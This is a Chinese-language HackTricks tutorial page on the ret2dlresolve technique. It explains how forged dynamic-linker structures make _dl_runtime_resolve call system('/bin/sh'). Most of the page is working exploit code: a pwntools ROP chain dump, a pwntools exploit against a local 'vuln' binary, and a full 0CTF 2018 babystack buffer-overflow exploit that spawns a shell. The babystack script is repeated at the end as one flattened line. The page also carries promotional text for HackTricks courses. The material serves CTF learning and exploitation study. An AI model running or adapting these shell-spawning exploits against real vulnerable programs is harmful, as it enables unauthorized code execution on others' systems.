Ret2dlresolve

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！

支持HackTricks的其他方式：

如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看订阅计划!
获取官方PEASS & HackTricks周边产品
探索PEASS家族，我们独家的NFTs收藏品
加入 💬 Discord群 或 电报群 或关注我们的Twitter 🐦 @hacktricks_live。
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

基本信息

如GOT/PLT和Relro页面所述，没有Full Relro的二进制文件将在首次使用时解析符号（如外部库的地址）。这种解析是通过调用函数**_dl_runtime_resolve**来实现的。

_dl_runtime_resolve函数从堆栈中获取一些结构的引用，以便解析指定的符号。

因此，可以伪造所有这些结构，使动态链接解析请求的符号（如**system函数）并使用配置的参数（例如system('/bin/sh')）进行调用。

通常，通过创建一个初始ROP链调用read来伪造所有这些结构，然后将结构和字符串**'/bin/sh'传递，以便它们被read存储在已知位置，然后ROP链继续调用_dl_runtime_resolve，使其在伪造的结构中解析system**的地址并使用地址调用此地址到'/bin/sh'。

如果没有系统调用gadgets（用于使用技术，如ret2syscall或SROP）并且没有泄漏libc地址的方法，这种技术特别有用。

在视频的后半部分中查看有关此技术的详细解释：

或查看以下页面以逐步解释：

攻击摘要

在某个位置写入伪造结构
设置system的第一个参数（$rdi = &'/bin/sh'）
在堆栈上设置要调用**_dl_runtime_resolve**的结构的地址
调用**_dl_runtime_resolve**
**system**将被解析并使用'/bin/sh'作为参数调用

根据pwntools文档，这是**ret2dlresolve**攻击的样子。

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

示例

纯Pwntools

您可以在这里找到此技术的示例 包含了最终ROP链的非常好的解释，但这里是使用的最终利用：

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

原始

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

其他示例和参考资料

https://youtu.be/ADULSwnQs-s
https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。要利用它，使用bof再次调用read，使用.bss部分和更大的大小，将dlresolve伪造表存储在那里以加载system，返回到主函数并重新滥用初始bof以调用dlresolve，然后system('/bin/sh')。

上一页Ret2csu 下一页Ret2esp / Ret2reg

最后更新于1年前

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack from pwn import * target = process('./babystack') #gdb.attach(target) elf = ELF('babystack') # Establish starts of various sections bss = 0x804a020 dynstr = 0x804822c dynsym = 0x80481cc relplt = 0x80482b0 # Establish two functions scanInput = p32(0x804843b) resolve = p32(0x80482f0) #dlresolve address # Establish size of second payload payload1_size = 43 # Our first scan # This will call read to scan in our fake entries into the plt # Then return back to scanInput to re-exploit the bug payload0 = "" payload0 += "0"*44 # Filler from start of input to return address payload0 += p32(elf.symbols['read']) # Return read payload0 += scanInput # After the read call, return to scan input payload0 += p32(0) # Read via stdin payload0 += p32(bss) # Scan into the start of the bss payload0 += p32(payload1_size) # How much data to scan in target.send(payload0) # Our second scan # This will be scanned into the start of the bss # It will contain the fake entries for our ret_2_dl_resolve attack # Calculate the r_info value # It will provide an index to our dynsym entry dynsym_offset = ((bss + 0xc) - dynsym) / 0x10 r_info = (dynsym_offset << 8) | 0x7 # Calculate the offset from the start of dynstr section to our dynstr entry dynstr_index = (bss + 28) - dynstr paylaod1 = "" # Our .rel.plt entry paylaod1 += p32(elf.got['alarm']) paylaod1 += p32(r_info) # Empty paylaod1 += p32(0x0) # Our dynsm entry paylaod1 += p32(dynstr_index) paylaod1 += p32(0xde)*3 # Our dynstr entry paylaod1 += "system\x00" # Store "/bin/sh" here so we can have a pointer ot it paylaod1 += "/bin/sh\x00" target.send(paylaod1) # Our third scan, which will execute the ret_2_dl_resolve # This will just call 0x80482f0, which is responsible for calling the functions for resolving # We will pass it the `.rel.plt` index for our fake entry # As well as the arguments for system # Calculate address of "/bin/sh" binsh_bss_address = bss + 35 # Calculate the .rel.plt offset ret_plt_offset = bss - relplt paylaod2 = "" paylaod2 += "0"*44 paylaod2 += resolve # 0x80482f0 paylaod2 += p32(ret_plt_offset) # .rel.plt offset paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh" target.send(paylaod2) # Enjoy the shell! target.interactive()